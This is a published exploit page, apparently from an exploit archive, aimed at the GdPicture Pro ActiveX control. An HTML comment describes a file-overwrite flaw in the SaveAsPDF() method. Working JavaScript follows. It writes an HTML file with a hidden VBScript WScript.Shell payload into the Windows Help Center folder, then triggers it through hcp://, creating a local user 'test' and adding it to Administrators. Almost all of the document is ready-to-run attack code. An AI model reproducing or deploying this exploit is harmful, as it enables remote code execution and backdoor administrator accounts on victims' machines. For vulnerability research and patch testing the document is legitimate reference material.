<!--
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GdPicture Pro ActiveX (gdpicture4s.ocx) Remote File Overwrite / Execution Exploit
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author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com
link.....: http://www.gdpicture.com/
ProgID...: GdPicture4S.Imaging
Description:
SaveAsPDF() method allow to create / overwrite file through
sFilePath argument. By using other arguments, such as sTitle,
an attacker could be inject html code and execute it using
the hcp:// protocol (tecnique discovered by rgod).
Also GdPicturePro5.Imaging is prone to this vulnerability,
but it doesn't implements the IObjectSafety interface.
Tested on Windows XP SP2 with IE 6/7
Object safety report:
Report for Clsid: {E8512363-3581-42EF-A43D-990E7935C8BE}
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data
[*] A special thanks goes to shinnai, for his patience :)
-->
<object classid='clsid:E8512363-3581-42EF-A43D-990E7935C8BE' id='test'></object>
<script language='javascript'>
var cmd = "cmd /c net user test test /add & net localgroup Administrators test /add";
var outFile = "c:\\windows\\pchealth\\helpctr\\system\\errors\\badurl.htm";
var BMP = "\x42\x4d\x42\x00\x00\x00\x00\x00\x00\x00\x3e" +
"\x00\x00\x00\x28\x00\x00\x00\x01\x00\x00\x00" +
"\x01\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00" +
"\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\xff\xff\xff\x00\x80\x00\x00\x00";
var sc = "<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='wsh'><\/object>" +
"<script language='vbscript'>wsh.Run \"" + cmd + "\", SW_HIDE<\/script>";
test.SetLicenseNumber("0317955669879948884162456"); // only to avoid the nag screen
test.CreateImageFromString(BMP);
if (test.SaveAsPDF(outFile, sc, "", "", "")) location.href = "hcp://system/errors/badurl.htm";
</script>
